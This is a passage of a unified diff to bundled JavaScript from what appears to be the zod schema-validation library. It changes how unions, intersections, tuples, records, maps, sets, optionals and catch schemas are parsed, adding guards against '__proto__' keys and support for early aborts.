(pv[zod.def.discriminator]?.has(void 0)) + undefinedCount++; for (const [k, v] of Object.entries(pv)) { - if (!propValues[k]) - propValues[k] = /* @__PURE__ */ new Set(); + if (!Object.prototype.hasOwnProperty.call(propValues, k)) { + assignProp(propValues, k, /* @__PURE__ */ new Set()); + } for (const val of v) { propValues[k].add(val); } } } + if (!zod.def.unionFallback && undefinedCount > 1) + propValues[zod.def.discriminator]?.delete(void 0); return propValues; }); - const disc = cached(() => { - const opts = def.options; - const map3 = /* @__PURE__ */ new Map(); - for (const o of opts) { - const values3 = o._zod.propValues?.[def.discriminator]; - if (!values3 || values3.size === 0) - throw new Error(`Invalid discriminated union option at index "${def.options.indexOf(o)}"`); - for (const v of values3) { - if (map3.has(v)) { - throw new Error(`Duplicate discriminator value "${String(v)}"`); - } - map3.set(v, o); - } + def.options.forEach((option, i) => { + const propShape = rawShape(option._zod.def); + if (propShape && !Object.prototype.hasOwnProperty.call(propShape, def.discriminator)) { + throw new Error(`Invalid discriminated union option at index "${i}"`); } - return map3; }); + const disc = cached(() => discriminatorMap(def)); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!isObject3(input)) { + const input2 = payload.value; + if (!isObject3(input2)) { payload.issues.push({ code: "invalid_type", expected: "object", - input, + input: input2, inst }); return payload; } - const opt = disc.value.get(input?.[def.discriminator]); - if (opt) { + const value = input2?.[def.discriminator]; + const opt = disc.value.get(value); + if (opt && (value !== void 0 || ctx.direction !== "backward")) { return opt._zod.run(payload, ctx); } if (def.unionFallback || ctx.direction === "backward") { @@ -92192,8 +92760,8 @@ var $ZodDiscriminatedUnion = /* @__PURE__ */ $constructor("$ZodDiscriminatedUnio errors: [], note: "No matching discriminator", discriminator: def.discriminator, - options: Array.from(disc.value.keys()), - input, + options: Array.from(disc.value.keys()).filter((value2) => disc.value.get(value2) !== null), + input: input2, path: [def.discriminator], inst }); @@ -92203,9 +92771,9 @@ var $ZodDiscriminatedUnion = /* @__PURE__ */ $constructor("$ZodDiscriminatedUnio var $ZodIntersection = /* @__PURE__ */ $constructor("$ZodIntersection", (inst, def) => { $ZodType.init(inst, def); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - const left = def.left._zod.run({ value: input, issues: [] }, ctx); - const right = def.right._zod.run({ value: input, issues: [] }, ctx); + const input2 = payload.value; + const left = def.left._zod.run({ value: input2, issues: [] }, ctx); + const right = def.right._zod.run({ value: input2, issues: [] }, ctx); const async = left instanceof Promise || right instanceof Promise; if (async) { return Promise.all([left, right]).then(([left2, right2]) => { @@ -92226,7 +92794,11 @@ function mergeValues(a, b2) { const bKeys = Object.keys(b2); const sharedKeys = Object.keys(a).filter((key) => bKeys.indexOf(key) !== -1); const newObj = { ...a, ...b2 }; + if (Object.prototype.hasOwnProperty.call(newObj, "__proto__")) + delete newObj.__proto__; for (const key of sharedKeys) { + if (key === "__proto__") + continue; const sharedValue = mergeValues(a[key], b2[key]); if (!sharedValue.valid) { return { @@ -92262,37 +92834,49 @@ function mergeValues(a, b2) { function handleIntersectionResults(result2, left, right) { const unrecKeys = /* @__PURE__ */ new Map(); let unrecIssue; - for (const iss of left.issues) { - if (iss.code === "unrecognized_keys") { + const keyIssues = /* @__PURE__ */ new Map(); + const collect = (iss, side) => { + let keys2; + if (iss.code === "unrecognized_keys" && !iss.path?.length) { unrecIssue ?? (unrecIssue = iss); - for (const k of iss.keys) { - if (!unrecKeys.has(k)) - unrecKeys.set(k, {}); - unrecKeys.get(k).l = true; - } + keys2 = iss.keys; + } else if (iss.code === "invalid_key" && iss.origin === "record" && iss.path?.length === 1) { + const k = String(iss.path[0]); + if (!keyIssues.has(k)) + keyIssues.set(k, iss); + keys2 = [k]; } else { - result2.issues.push(iss); + return false; } + for (const k of keys2) { + if (!unrecKeys.has(k)) + unrecKeys.set(k, {}); + unrecKeys.get(k)[side] = true; + } + return true; + }; + for (const iss of left.issues) { + if (!collect(iss, "l")) + result2.issues.push(iss); } for (const iss of right.issues) { - if (iss.code === "unrecognized_keys") { - for (const k of iss.keys) { - if (!unrecKeys.has(k)) - unrecKeys.set(k, {}); - unrecKeys.get(k).r = true; - } - } else { + if (!collect(iss, "r")) result2.issues.push(iss); - } } const bothKeys = [...unrecKeys].filter(([, f]) => f.l && f.r).map(([k]) => k); - if (bothKeys.length && unrecIssue) { - result2.issues.push({ ...unrecIssue, keys: bothKeys }); + if (bothKeys.length) { + const aggregated = unrecIssue ? bothKeys.filter((k) => unrecIssue.keys.includes(k)) : []; + if (aggregated.length) + result2.issues.push({ ...unrecIssue, keys: aggregated }); + for (const k of bothKeys) { + if (!aggregated.includes(k) && keyIssues.has(k)) + result2.issues.push(keyIssues.get(k)); + } } - if (aborted(result2)) - return result2; const merged = mergeValues(left.value, right.value); if (!merged.valid) { + if (aborted(result2)) + return result2; throw new Error(`Unmergable intersection. Error path: ${JSON.stringify(merged.mergeErrorPath)}`); } result2.value = merged.data; @@ -92301,59 +92885,71 @@ function handleIntersectionResults(result2, left, right) { var $ZodTuple = /* @__PURE__ */ $constructor("$ZodTuple", (inst, def) => { $ZodType.init(inst, def); const items = def.items; + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!Array.isArray(input)) { + const input2 = payload.value; + if (!Array.isArray(input2)) { payload.issues.push({ - input, + input: input2, inst, expected: "tuple", code: "invalid_type" }); return payload; } - payload.value = []; + payload.value = memo2 ? memo2.alloc(inst, payload, [], ctx) : []; const proms = []; const optinStart = getTupleOptStart(items, "optin"); const optoutStart = getTupleOptStart(items, "optout"); if (!def.rest) { - if (input.length < optinStart) { + if (input2.length < optinStart) { payload.issues.push({ code: "too_small", minimum: optinStart, inclusive: true, - input, + input: input2, inst, origin: "array" }); return payload; } - if (input.length > items.length) { + if (input2.length > items.length) { payload.issues.push({ code: "too_big", maximum: items.length, inclusive: true, - input, + input: input2, inst, origin: "array" }); } } const itemResults = new Array(items.length); + const abortEarly = def.rest ? ctx?.abortEarly : void 0; + let itemAborted = false; for (let i = 0; i < items.length; i++) { - const r = items[i]._zod.run({ value: input[i], issues: [] }, ctx); + const r = items[i]._zod.run({ value: input2[i], issues: [] }, ctx); if (r instanceof Promise) { proms.push(r.then((rr) => { itemResults[i] = rr; })); } else { itemResults[i] = r; + if (abortEarly && !itemAborted && r.issues.length) + itemAborted = aborted(r); } } - if (def.rest) { + if (def.rest && !itemAborted) { let i = items.length - 1; - const rest2 = input.slice(items.length); + const rest2 = input2.slice(items.length); + let seen = payload.issues.length; for (const el of rest2) { + if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } i++; const result2 = def.rest._zod.run({ value: el, issues: [] }, ctx); if (result2 instanceof Promise) { @@ -92364,14 +92960,15 @@ var $ZodTuple = /* @__PURE__ */ $constructor("$ZodTuple", (inst, def) => { } } if (proms.length) { - return Promise.all(proms).then(() => handleTupleResults(itemResults, payload, items, input, optoutStart)); + return Promise.all(proms).then(() => handleTupleResults(itemResults, payload, items, input2, optoutStart)); } - return handleTupleResults(itemResults, payload, items, input, optoutStart); + return handleTupleResults(itemResults, payload, items, input2, optoutStart); }; }); function getTupleOptStart(items, key) { for (let i = items.length - 1; i >= 0; i--) { - if (items[i]._zod[key] !== "optional") + const omittable = key === "optin" ? items[i]._zod.optin !== void 0 : items[i]._zod.optout === "optional"; + if (!omittable) return i + 1; } return 0; @@ -92382,10 +92979,14 @@ function handleTupleResult(result2, final, index2) { } final.value[index2] = result2.value; } -function handleTupleResults(itemResults, final, items, input, optoutStart) { +function handleTupleResults(itemResults, final, items, input2, optoutStart) { for (let i = 0; i < items.length; i++) { const r = itemResults[i]; - const isPresent = i < input.length; + const isPresent = i < input2.length; + if (!isPresent && i >= optoutStart && items[i]._zod.optin === "optional") { + final.value.length = i; + break; + } if (r.issues.length) { if (!isPresent && i >= optoutStart) { final.value.length = i; @@ -92395,7 +92996,7 @@ function handleTupleResults(itemResults, final, items, input, optoutStart) { } final.value[i] = r.value; } - for (let i = final.value.length - 1; i >= input.length; i--) { + for (let i = final.value.length - 1; i >= input2.length; i--) { if (items[i]._zod.optout === "optional" && final.value[i] === void 0) { final.value.length = i; } else { @@ -92406,25 +93007,29 @@ function handleTupleResults(itemResults, final, items, input, optoutStart) { } var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { $ZodType.init(inst, def); + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!isPlainObject(input)) { + const input2 = payload.value; + if (!isPlainObject(input2)) { payload.issues.push({ expected: "record", code: "invalid_type", - input, + input: input2, inst }); return payload; } const proms = []; const values3 = def.keyType._zod.values; - if (values3) { - payload.value = {}; + if (values3 && !def.partial) { + payload.value = memo2 ? memo2.alloc(inst, payload, {}, ctx) : {}; const recordKeys = /* @__PURE__ */ new Set(); for (const key of values3) { if (typeof key === "string" || typeof key === "number" || typeof key === "symbol") { recordKeys.add(typeof key === "number" ? key.toString() : key); + if (key === "__proto__") + continue; const keyResult = def.keyType._zod.run({ value: key, issues: [] }, ctx); if (keyResult instanceof Promise) { throw new Error("Async schemas not supported in object keys currently"); @@ -92441,7 +93046,9 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { continue; } const outKey = keyResult.value; - const result2 = def.valueType._zod.run({ value: input[key], issues: [] }, ctx); + if (outKey === "__proto__") + continue; + const result2 = def.valueType._zod.run({ value: input2[key], issues: [] }, ctx); if (result2 instanceof Promise) { proms.push(result2.then((result3) => { if (result3.issues.length) { @@ -92458,26 +93065,34 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { } } let unrecognized; - for (const key in input) { + for (const key in input2) { if (!recordKeys.has(key)) { - unrecognized = unrecognized ?? []; - unrecognized.push(key); + if (def.mode === "loose") { + if (key === "__proto__") + continue; + payload.value[key] = input2[key]; + } else { + unrecognized = unrecognized ?? []; + unrecognized.push(key); + } } } if (unrecognized && unrecognized.length > 0) { payload.issues.push({ code: "unrecognized_keys", - input, + input: input2, inst, - keys: unrecognized + keys: unrecognized, + continue: true }); } } else { - payload.value = {}; - for (const key of Reflect.ownKeys(input)) { + payload.value = memo2 ? memo2.alloc(inst, payload, {}, ctx) : {}; + let unrecognized; + for (const key of Reflect.ownKeys(input2)) { if (key === "__proto__") continue; - if (!Object.prototype.propertyIsEnumerable.call(input, key)) + if (!Object.prototype.propertyIsEnumerable.call(input2, key)) continue; let keyResult = def.keyType._zod.run({ value: key, issues: [] }, ctx); if (keyResult instanceof Promise) { @@ -92495,7 +93110,10 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { } if (keyResult.issues.length) { if (def.mode === "loose") { - payload.value[key] = input[key]; + payload.value[key] = input2[key]; + } else if (values3) { + unrecognized = unrecognized ?? []; + unrecognized.push(key); } else { payload.issues.push({ code: "invalid_key", @@ -92508,21 +93126,33 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { } continue; } - const result2 = def.valueType._zod.run({ value: input[key], issues: [] }, ctx); + const outKey = keyResult.value; + if (outKey === "__proto__") + continue; + const result2 = def.valueType._zod.run({ value: input2[key], issues: [] }, ctx); if (result2 instanceof Promise) { proms.push(result2.then((result3) => { if (result3.issues.length) { payload.issues.push(...prefixIssues(key, result3.issues)); } - payload.value[keyResult.value] = result3.value; + payload.value[outKey] = result3.value; })); } else { if (result2.issues.length) { payload.issues.push(...prefixIssues(key, result2.issues)); } - payload.value[keyResult.value] = result2.value; + payload.value[outKey] = result2.value; } } + if (unrecognized && unrecognized.length > 0) { + payload.issues.push({ + code: "unrecognized_keys", + input: input2, + inst, + keys: unrecognized, + continue: true + }); + } } if (proms.length) { return Promise.all(proms).then(() => payload); @@ -92532,36 +93162,46 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { }); var $ZodMap = /* @__PURE__ */ $constructor("$ZodMap", (inst, def) => { $ZodType.init(inst, def); + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!(input instanceof Map)) { + const input2 = payload.value; + if (!(input2 instanceof Map)) { payload.issues.push({ expected: "map", code: "invalid_type", - input, + input: input2, inst }); return payload; } const proms = []; - payload.value = /* @__PURE__ */ new Map(); - for (const [key, value] of input) { + payload.value = memo2 ? memo2.alloc(inst, payload, /* @__PURE__ */ new Map(), ctx) : /* @__PURE__ */ new Map(); + const abortEarly = ctx?.abortEarly; + let seen = payload.issues.length; + for (const [key, value] of input2) { + if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } const keyResult = def.keyType._zod.run({ value: key, issues: [] }, ctx); const valueResult = def.valueType._zod.run({ value, issues: [] }, ctx); if (keyResult instanceof Promise || valueResult instanceof Promise) { proms.push(Promise.all([keyResult, valueResult]).then(([keyResult2, valueResult2]) => { - handleMapResult(keyResult2, valueResult2, payload, key, input, inst, ctx); + handleMapResult(keyResult2, valueResult2, payload, key, input2, inst, ctx); })); } else { - handleMapResult(keyResult, valueResult, payload, key, input, inst, ctx); + handleMapResult(keyResult, valueResult, payload, key, input2, inst, ctx); } } if (proms.length) return Promise.all(proms).then(() => payload); return payload; }; + capSize(inst, mapSize); }); -function handleMapResult(keyResult, valueResult, final, key, input, inst, ctx) { +function handleMapResult(keyResult, valueResult, final, key, input2, inst, ctx) { if (keyResult.issues.length) { if (propertyKeyTypes.has(typeof key)) { final.issues.push(...prefixIssues(key, keyResult.issues)); @@ -92569,7 +93209,7 @@ function handleMapResult(keyResult, valueResult, final, key, input, inst, ctx) { final.issues.push({ code: "invalid_key", origin: "map", - input, + input: input2, inst, issues: keyResult.issues.map((iss) => finalizeIssue(iss, ctx, config())) }); @@ -92582,7 +93222,7 @@ function handleMapResult(keyResult, valueResult, final, key, input, inst, ctx) { final.issues.push({ origin: "map", code: "invalid_element", - input, + input: input2, inst, key, issues: valueResult.issues.map((iss) => finalizeIssue(iss, ctx, config())) @@ -92593,11 +93233,13 @@ function handleMapResult(keyResult, valueResult, final, key, input, inst, ctx) { } var $ZodSet = /* @__PURE__ */ $constructor("$ZodSet", (inst, def) => { $ZodType.init(inst, def); + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!(input instanceof Set)) { + const input2 = payload.value; + if (!(input2 instanceof Set)) { payload.issues.push({ - input, + input: input2, inst, expected: "set", code: "invalid_type" @@ -92605,8 +93247,15 @@ var $ZodSet = /* @__PURE__ */ $constructor("$ZodSet", (inst, def) => { return payload; } const proms = []; - payload.value = /* @__PURE__ */ new Set(); - for (const item of input) { + payload.value = memo2 ? memo2.alloc(inst, payload, /* @__PURE__ */ new Set(), ctx) : /* @__PURE__ */ new Set(); + const abortEarly = ctx?.abortEarly; + let seen = payload.issues.length; + for (const item of input2) { + if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } const result2 = def.valueType._zod.run({ value: item, issues: [] }, ctx); if (result2 instanceof Promise) { proms.push(result2.then((result3) => handleSetResult(result3, payload))); @@ -92617,6 +93266,7 @@ var $ZodSet = /* @__PURE__ */ $constructor("$ZodSet", (inst, def) => { return Promise.all(proms).then(() => payload); return payload; }; + capSize(inst, setSize); }); function handleSetResult(result2, final) { if (result2.issues.length) { @@ -92629,16 +93279,19 @@ var $ZodEnum = /* @__PURE__ */ $constructor("$ZodEnum", (inst, def) => { const values3 = getEnumValues(def.entries); const valuesSet = new Set(values3); inst._zod.values = valuesSet; - inst._zod.pattern = new RegExp(`^(${values3.filter((k) => propertyKeyTypes.has(typeof k)).map((o) => typeof o === "string" ? escapeRegex(o) : o.toString()).join("|")})$`); + defineLazyInternal(inst, "pattern", (zod) => { + const patternValues = getEnumValues(zod.def.entries).filter((k) => propertyKeyTypes.has(typeof k)); + return new RegExp(patternValues.length ? `^(${patternValues.map((o) => escapeRegex(o.toString())).join("|")})$` : "^[^\\s\\S]$"); + }); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (valuesSet.has(input)) { + const input2 = payload.value; + if (valuesSet.has(input2)) { return payload; } payload.issues.push({ code: "invalid_value", values: values3, - input, + input: input2, inst }); return payload; @@ -92646,21 +93299,21 @@ var $ZodEnum = /* @__PURE__ */ $constructor("$ZodEnum", (inst, def) => { }); var $ZodLiteral = /* @__PURE__ */ $constructor("$ZodLiteral", (inst, def) => { $ZodType.init(inst, def); - if (def.values.length === 0) { - throw new Error("Cannot create literal schema with no valid values"); - } const values3 = new Set(def.values); inst._zod.values = values3; - inst._zod.pattern = new RegExp(`^(${def.values.map((o) => typeof o === "string" ? escapeRegex(o) : o ? escapeRegex(o.toString()) : String(o)).join("|")})$`); + defineLazyInternal(inst, "pattern", (zod) => { + const vals = zod.def.values; + return new RegExp(vals.length ? `^(${vals.map((o) => typeof o === "string" ? escapeRegex(o) : o ? escapeRegex(o.toString()) : String(o)).join("|")})$` : "^[^\\s\\S]$"); + }); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (values3.has(input)) { + const input2 = payload.value; + if (values3.has(input2)) { return payload; } payload.issues.push({ code: "invalid_value", values: def.values, - input, + input: input2, inst }); return payload; @@ -92669,13 +93322,13 @@ var $ZodLiteral = /* @__PURE__ */ $constructor("$ZodLiteral", (inst, def) => { var $ZodFile = /* @__PURE__ */ $constructor("$ZodFile", (inst, def) => { $ZodType.init(inst, def); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (input instanceof File) + const input2 = payload.value; + if (input2 instanceof File) return payload; payload.issues.push({ expected: "file", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -92684,16 +93337,16 @@ var $ZodFile = /* @__PURE__ */ $constructor("$ZodFile", (inst, def) => { var $ZodTransform = /* @__PURE__ */ $constructor("$ZodTransform", (inst, def) => { $ZodType.init(inst, def); inst._zod.optin = "optional"; + globalConfig.memoizer?.guard(inst); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { throw new $ZodEncodeError(inst.constructor.name); } const _out = def.transform(payload.value, payload); if (ctx.async) { - const output = _out instanceof Promise ? _out : Promise.resolve(_out); - return output.then((output2) => { - payload.value = output2; - payload.fallback = true; + const output2 = _out instanceof Promise ? _out : Promise.resolve(_out); + return output2.then((output3) => { + payload.value = output3; return payload; }); } @@ -92701,59 +93354,55 @@ var $ZodTransform = /* @__PURE__ */ $constructor("$ZodTransform", (inst, def) => throw new $ZodAsyncError(); } payload.value = _out; - payload.fallback = true; return payload; }; }); -function handleOptionalResult(result2, input) { - if (input === void 0 && (result2.issues.length || result2.fallback)) { - return { issues: [], value: void 0 }; - } - return result2; +function handleOptionalResult(payload, result2) { + payload.value = result2.issues.length ? void 0 : result2.value; + return payload; } var $ZodOptional = /* @__PURE__ */ $constructor("$ZodOptional", (inst, def) => { $ZodType.init(inst, def); - inst._zod.optin = "optional"; + defineLazyInternal(inst, "optin", (zod) => zod.def.innerType._zod.optin === "defaulted" ? "defaulted" : "optional"); inst._zod.optout = "optional"; - defineLazy(inst._zod, "values", () => { - return def.innerType._zod.values ? /* @__PURE__ */ new Set([...def.innerType._zod.values, void 0]) : void 0; + defineLazyInternal(inst, "values", (zod) => { + const values3 = zod.def.innerType._zod.values; + return values3 ? /* @__PURE__ */ new Set([...values3, void 0]) : void 0; }); - defineLazy(inst._zod, "pattern", () => { - const pattern = def.innerType._zod.pattern; + defineLazyInternal(inst, "pattern", (zod) => { + const pattern = zod.def.innerType._zod.pattern; return pattern ? new RegExp(`^(${cleanRegex(pattern.source)})?$`) : void 0; }); inst._zod.parse = (payload, ctx) => { - if (def.innerType._zod.optin === "optional") { - const input = payload.value; - const result2 = def.innerType._zod.run(payload, ctx); - if (result2 instanceof Promise) - return result2.then((r) => handleOptionalResult(r, input)); - return handleOptionalResult(result2, input); - } if (payload.value === void 0) { - return payload; + if (def.innerType._zod.optin !== "defaulted") + return payload; + const result2 = def.innerType._zod.run({ value: payload.value, issues: [] }, ctx); + if (result2 instanceof Promise) + return result2.then((result3) => handleOptionalResult(payload, result3)); + return handleOptionalResult(payload, result2); } return def.innerType._zod.run(payload, ctx); }; }); var $ZodExactOptional = /* @__PURE__ */ $constructor("$ZodExactOptional", (inst, def) => { $ZodOptional.init(inst, def); - defineLazy(inst._zod, "values", () => def.innerType._zod.values); - defineLazy(inst._zod, "pattern", () => def.innerType._zod.pattern); + defineLazyInternal(inst, "values", (zod) => zod.def.innerType._zod.values); + defineLazyInternal(inst, "pattern", (zod) => zod.def.innerType._zod.pattern); inst._zod.parse = (payload, ctx) => { return def.innerType._zod.run(payload, ctx); }; }); var $ZodNullable = /* @__PURE__ */ $constructor("$ZodNullable", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "optin", () => def.innerType._zod.optin); - defineLazy(inst._zod, "optout", () => def.innerType._zod.optout); - defineLazy(inst._zod, "pattern", () => { - const pattern = def.innerType._zod.pattern; + defineLazyInternal(inst, "optin", (zod) => zod.def.innerType._zod.optin); + defineLazyInternal(inst, "optout", (zod) => zod.def.innerType._zod.optout); + defineLazyInternal(inst, "pattern", (zod) => { + const pattern = zod.def.innerType._zod.pattern; return pattern ? new RegExp(`^(${cleanRegex(pattern.source)}|null)$`) : void 0; }); - defineLazy(inst._zod, "values", () => { - return def.innerType._zod.values ? /* @__PURE__ */ new Set([...def.innerType._zod.values, null]) : void 0; + defineLazyInternal(inst, "values", (zod) => { + return zod.def.innerType._zod.values ? /* @__PURE__ */ new Set([...zod.def.innerType._zod.values, null]) : void 0; }); inst._zod.parse = (payload, ctx) => { if (payload.value === null) @@ -92763,8 +93412,8 @@ var $ZodNullable = /* @__PURE__ */ $constructor("$ZodNullable", (inst, def) => { }); var $ZodDefault = /* @__PURE__ */ $constructor("$ZodDefault", (inst, def) => { $ZodType.init(inst, def); - inst._zod.optin = "optional"; - defineLazy(inst._zod, "values", () => def.innerType._zod.values); + inst._zod.optin = "defaulted"; + defineLazyInternal(inst, "values", (zod) => zod.def.innerType._zod.values); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { return def.innerType._zod.run(payload, ctx); @@ -92788,8 +93437,8 @@ function handleDefaultResult(payload, def) { } var $ZodPrefault = /* @__PURE__ */ $constructor("$ZodPrefault", (inst, def) => { $ZodType.init(inst, def); - inst._zod.optin = "optional"; - defineLazy(inst._zod, "values", () => def.innerType._zod.values); + inst._zod.optin = "defaulted"; + defineLazyInternal(inst, "values", (zod) => zod.def.innerType._zod.values); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { return def.innerType._zod.run(payload, ctx); @@ -92802,8 +93451,8 @@ var $ZodPrefault = /* @__PURE__ */ $constructor("$ZodPrefault", (inst, def) => { }); var $ZodNonOptional = /* @__PURE__ */ $constructor("$ZodNonOptional", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "values", () => { - const v = def.innerType._zod.values; + defineLazyInternal(inst, "values", (zod) => { + const v = zod.def.innerType._zod.values; return v ? new Set([...v].filter((x) => x !== void 0)) : void 0; }); inst._zod.parse = (payload, ctx) => { @@ -92842,46 +93491,37 @@ var $ZodSuccess = /* @__PURE__ */ $constructor("$ZodSuccess", (inst, def) => { return payload; }; }); +function handleCatchResult(payload, result2, def, ctx) { + if (!result2.issues.length) { + payload.value = result2.value; + if (result2.memo) + payload.memo = true; + return payload; + } + payload.value = def.catchValue({ + ...result2, + value: payload.value, + error: { + issues: result2.issues.map((iss) => finalizeIssue(iss, ctx, config())) + }, + input: payload.value + }); + return payload; +} var $ZodCatch = /* @__PURE__ */ $constructor("$ZodCatch", (inst, def) => { $ZodType.init(inst, def); - inst._zod.optin = "optional"; - defineLazy(inst._zod, "optout", () => def.innerType._zod.optout); - defineLazy(inst._zod, "values", () => def.innerType._zod.values); + defineLazyInternal(inst, "optin", (zod) => zod.def.innerType._zod.optin === "defaulted" ? "defaulted" : "optional"); + defineLazyInternal(inst, "optout", (zod) => zod.def.innerType._zod.optout); + defineLazyInternal(inst, "values", (zod) => zod.def.innerType._zod.values); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { return def.innerType._zod.run(payload, ctx); } - const result2 = def.innerType._zod.run(payload, ctx); + const result2 = def.innerType._zod.run({ value: payload.value, issues: [] }, ctx); if (result2 instanceof Promise) { - return result2.then((result3) => { - payload.value = result3.value; - if (result3.issues.length) { - payload.value = def.catchValue({ - ...payload, - error: { - issues: result3.issues.map((iss) => finalizeIssue(iss, ctx, config())) - }, - input: payload.value - }); - payload.issues = []; - payload.fallback = true; - } - return payload; - }); - } - payload.value = result2.value; - if (result2.issues.length) { - payload.value = def.catchValue({ - ...payload, - error: { - issues: result2.issues.map((iss) => finalizeIssue(iss, ctx, config())) - }, - input: payload.value - }); - payload.issues = []; - payload.fallback = true; + return result2.then((result3) => handleCatchResult(payload, result3, def, ctx)); } - return payload; + return handleCatchResult(payload, result2, def, ctx); }; }); var $ZodNaN = /* @__PURE__ */ $constructor("$ZodNaN", (inst, def) => { @@ -92901,10 +93541,10 @@ var $ZodNaN = /* @__PURE__ */ $constructor("$ZodNaN", (inst, def) => { }); var $ZodPipe = /* @__PURE__ */ $constructor("$ZodPipe", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "values", () => def.in._zod.values); - defineLazy(inst._zod, "optin", () => def.in._zod.optin); - defineLazy(inst._zod, "optout", () => def.out._zod.optout); - defineLazy(inst._zod, "propValues", () => def.in._zod.propValues); + defineLazyInternal(inst, "values", (zod) => zod.def.in._zod.values); + defineLazyInternal(inst, "optin", (zod) => zod.def.in._zod.optin); + defineLazyInternal(inst, "optout", (zod) => zod.def.out._zod.optout); + defineLazyInternal(inst, "propValues", (zod) => zod.def.in._zod.propValues); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { const right = def.out._zod.run(payload, ctx); @@ -92921,18 +93561,18 @@ var $ZodPipe = /* @__PURE__ */ $constructor("$ZodPipe", (inst, def) => { }; }); function handlePipeResult(left, next, ctx) { - if (left.issues.length) { + if (left.issues.some((iss) => iss.code !== "unrecognized_keys")) { left.aborted = true; return left; } - return next._zod.run({ value: left.value, issues: left.issues, fallback: left.fallback }, ctx); + return next._zod.run({ value: left.value, issues: left.issues }, ctx); } var $ZodCodec = /* @__PURE__ */ $constructor("$ZodCodec", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "values", () => def.in._zod.values); - defineLazy(inst._zod, "optin", () => def.in._zod.optin); - defineLazy(inst._zod, "optout", () => def.out._zod.optout); - defineLazy(inst._zod, "propValues", () => def.in._zod.propValues); + defineLazyInternal(inst, "values", (zod) => zod.def.in._zod.values); + defineLazyInternal(inst, "optin", (zod) => zod.def.in._zod.optin); + defineLazyInternal(inst, "optout", (zod) => zod.def.out._zod.optout); + defineLazyInternal(inst, "propValues", (zod) => zod.def.in._zod.propValues); inst._zod.parse = (payload, ctx) => { const direction = ctx.direction || "forward"; if (direction === "forward") { @@ -92982,10 +93622,10 @@ var $ZodPreprocess = /* @__PURE__ */ $constructor("$ZodPreprocess", (inst, def) }); var $ZodReadonly = /* @__PURE__ */ $constructor("$ZodReadonly", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "propValues", () => def.innerType._zod.propValues); - defineLazy(inst._zod, "values", () => def.innerType._zod.values); - defineLazy(inst._zod, "optin", () => def.innerType?._zod?.optin); - defineLazy(inst._zod, "optout", () => def.innerType?._zod?.optout); + defineLazyInternal(inst, "propValues", (zod) => zod.def.innerType._zod.propValues); + defineLazyInternal(inst, "values", (zod) => zod.def.innerType._zod.values); + defineLazyInternal(inst, "optin", (zod) => zod.def.innerType?._zod?.optin); + defineLazyInternal(inst, "optout", (zod) => zod.def.innerType?._zod?.optout); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { return def.innerType._zod.run(payload, ctx); @@ -92998,23 +93638,66 @@ var $ZodReadonly = /* @__PURE__ */ $constructor("$ZodReadonly", (inst, def) => { }; }); function handleReadonlyResult(payload) { - payload.value = Object.freeze(payload.value); + if (!payload.memo) + payload.value = Object.freeze(payload.value); return payload; } +function leafPattern(schema) { + const def = schema._zod.def; + let pattern = def.pattern; + let isInt = !!def.format?.includes("int"); + let minimum; + let maximum; + for (const ch of def.checks ?? []) { + const d = ch._zod.def; + if (d.pattern) + pattern = d.pattern; + isInt || (isInt = !!d.format?.includes("int")); + const lo = d.minimum ?? d.length; + const hi = d.maximum ?? d.length; + if (lo !== void 0 && (minimum === void 0 || lo > minimum)) + minimum = lo; + if (hi !== void 0 && (maximum === void 0 || hi < maximum)) + maximum = hi; + } + if (pattern) + return pattern.source; + if (minimum !== void 0 && maximum !== void 0 && minimum > maximum) + return "(?!)"; + if (minimum !== void 0 || maximum !== void 0) + return string({ minimum, maximum }).source; + const own2 = schema._zod.pattern; + return (isInt && own2 === number ? integer : own2)?.source; +} +function partPattern(schema) { + const def = schema._zod.def; + const own2 = schema._zod.pattern?.source; + const inner = def.innerType ?? schema._zod.innerType; + if (inner) { + const before2 = inner._zod.pattern?.source; + const after2 = partPattern(inner); + if (own2 && before2 && after2 && after2 !== before2) { + return own2.replace(cleanRegex(before2), () => cleanRegex(after2)); + } + return own2; + } + if (def.options) { + const sources = def.options.map(partPattern); + if (sources.every(Boolean)) + return `^(${sources.map((s) => cleanRegex(s)).join("|")})$`; + } + return leafPattern(schema); +} var $ZodTemplateLiteral = /* @__PURE__ */ $constructor("$ZodTemplateLiteral", (inst, def) => { $ZodType.init(inst, def); const regexParts = []; for (const part of def.parts) { if (typeof part === "object" && 